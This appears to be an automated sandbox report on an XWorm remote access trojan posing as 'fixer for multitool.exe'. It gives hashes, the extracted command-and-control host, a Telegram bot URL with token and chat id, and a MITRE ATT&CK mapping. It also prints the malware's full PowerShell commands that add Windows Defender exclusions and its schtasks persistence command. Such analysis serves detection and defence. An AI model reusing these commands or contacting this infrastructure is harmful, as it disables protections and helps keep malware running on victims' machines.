xworm | cde4fe473069363041f226b082f01df71b5f9ac35c29aa5d09629c927f810f60

General

Target

fixer for multitool.exe
Size

62KB
MD5

77e7b58ce0b69353d9f95c9e682b6f6e
SHA1

ba83c3c49a507a9c7b7eb3785fd71f4e1ef66f27
SHA256

cde4fe473069363041f226b082f01df71b5f9ac35c29aa5d09629c927f810f60
SHA512

ec6d834502999f93e68c31d4f27ea58ea8a7d0eaea71478ba7745b4f1b5651319fe650d5c430628221a57057be99836c8435fe2b1debed55b382067aa8d1d3b4
SSDEEP

1536:M6EtTyVXBeRi6hm9bTedYcNO67OyO4+Sn+e:YVyHvKm9bTYlOyO4+e

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

nipoto-62948.portmap.host:34564

Attributes

Install_directory
%AppData%
install_file
USB.exe
telegram
https://api.telegram.org/bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020

Signatures

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/memory/2996-1-0x00000000001D0000-0x00000000001E6000-memory.dmp	family_xworm
behavioral1/files/0x0011000000012245-34.dat	family_xworm
behavioral1/memory/2084-36-0x0000000000AB0000-0x0000000000AC6000-memory.dmp	family_xworm
behavioral1/memory/2016-38-0x0000000000EF0000-0x0000000000F06000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2476	powershell.exe
1740	powershell.exe
2772	powershell.exe
2748	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk	fixer for multitool.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk	fixer for multitool.exe

Executes dropped EXE 2 IoCs

pid	Process
2084	security
2016	security

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows\CurrentVersion\Run\security = "C:\\Users\\Admin\\AppData\\Roaming\\security"	fixer for multitool.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2712	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2996	fixer for multitool.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2476	powershell.exe
1740	powershell.exe
2772	powershell.exe
2748	powershell.exe
2996	fixer for multitool.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2996	fixer for multitool.exe
Token: SeDebugPrivilege	2476	powershell.exe
Token: SeDebugPrivilege	1740	powershell.exe
Token: SeDebugPrivilege	2772	powershell.exe
Token: SeDebugPrivilege	2748	powershell.exe
Token: SeDebugPrivilege	2996	fixer for multitool.exe
Token: SeDebugPrivilege	2084	security
Token: SeDebugPrivilege	2016	security

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2996	fixer for multitool.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2996 wrote to memory of 2476	2996	fixer for multitool.exe	30
PID 2996 wrote to memory of 2476	2996	fixer for multitool.exe	30
PID 2996 wrote to memory of 2476	2996	fixer for multitool.exe	30
PID 2996 wrote to memory of 1740	2996	fixer for multitool.exe	32
PID 2996 wrote to memory of 1740	2996	fixer for multitool.exe	32
PID 2996 wrote to memory of 1740	2996	fixer for multitool.exe	32
PID 2996 wrote to memory of 2772	2996	fixer for multitool.exe	34
PID 2996 wrote to memory of 2772	2996	fixer for multitool.exe	34
PID 2996 wrote to memory of 2772	2996	fixer for multitool.exe	34
PID 2996 wrote to memory of 2748	2996	fixer for multitool.exe	36
PID 2996 wrote to memory of 2748	2996	fixer for multitool.exe	36
PID 2996 wrote to memory of 2748	2996	fixer for multitool.exe	36
PID 2996 wrote to memory of 2712	2996	fixer for multitool.exe	38
PID 2996 wrote to memory of 2712	2996	fixer for multitool.exe	38
PID 2996 wrote to memory of 2712	2996	fixer for multitool.exe	38
PID 1988 wrote to memory of 2084	1988	taskeng.exe	43
PID 1988 wrote to memory of 2084	1988	taskeng.exe	43
PID 1988 wrote to memory of 2084	1988	taskeng.exe	43
PID 1988 wrote to memory of 2016	1988	taskeng.exe	44
PID 1988 wrote to memory of 2016	1988	taskeng.exe	44
PID 1988 wrote to memory of 2016	1988	taskeng.exe	44

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\fixer for multitool.exe
"C:\Users\Admin\AppData\Local\Temp\fixer for multitool.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\fixer for multitool.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'fixer for multitool.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\security'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'security'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2748
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "security" /tr "C:\Users\Admin\AppData\Roaming\security"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2712

C:\Windows\system32\taskeng.exe
taskeng.exe {675DE984-3C10-493A-ABC5-2B5419F60C8D} S-1-5-21-312935884-697965778-3955649944-1000:MXQFNXLT\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1988
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2084
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
4b4ed5b3bda4a2cde8d5acb7a0db1f17

SHA1
7112eb695f9f4fdea3e3fbaf94294850a09e3cc3

SHA256
8968b52110c222fd9c3ccbb341e42bfd4f1f61b4bd10a093584be3632221d440

SHA512
c58f004c8a9f41c286194d4439fb64aa43ea7839375f9548d0b9effc9087447845bb59c72831ade08f7076ef55af2e0c7e99bd004b6d6857f624087d991a1343

Download Submit
C:\Users\Admin\AppData\Roaming\security

Filesize
62KB

MD5
77e7b58ce0b69353d9f95c9e682b6f6e

SHA1
ba83c3c49a507a9c7b7eb3785fd71f4e1ef66f27

SHA256
cde4fe473069363041f226b082f01df71b5f9ac35c29aa5d09629c927f810f60

SHA512
ec6d834502999f93e68c31d4f27ea58ea8a7d0eaea71478ba7745b4f1b5651319fe650d5c430628221a57057be99836c8435fe2b1debed55b382067aa8d1d3b4

Download Submit
memory/1740-14-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/1740-15-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2016-38-0x0000000000EF0000-0x0000000000F06000-memory.dmp

Filesize
88KB

Download
memory/2084-36-0x0000000000AB0000-0x0000000000AC6000-memory.dmp

Filesize
88KB

Download
memory/2476-7-0x000000001B7B0000-0x000000001BA92000-memory.dmp

Filesize
2.9MB

Download
memory/2476-8-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

Filesize
32KB

Download
memory/2476-6-0x0000000002B00000-0x0000000002B80000-memory.dmp

Filesize
512KB

Download
memory/2996-29-0x000000001B530000-0x000000001B5B0000-memory.dmp

Filesize
512KB

Download
memory/2996-30-0x000007FEF5CD3000-0x000007FEF5CD4000-memory.dmp

Filesize
4KB

Download
memory/2996-31-0x000000001B530000-0x000000001B5B0000-memory.dmp

Filesize
512KB

Download
memory/2996-0-0x000007FEF5CD3000-0x000007FEF5CD4000-memory.dmp

Filesize
4KB

Download
memory/2996-1-0x00000000001D0000-0x00000000001E6000-memory.dmp

Filesize
88KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads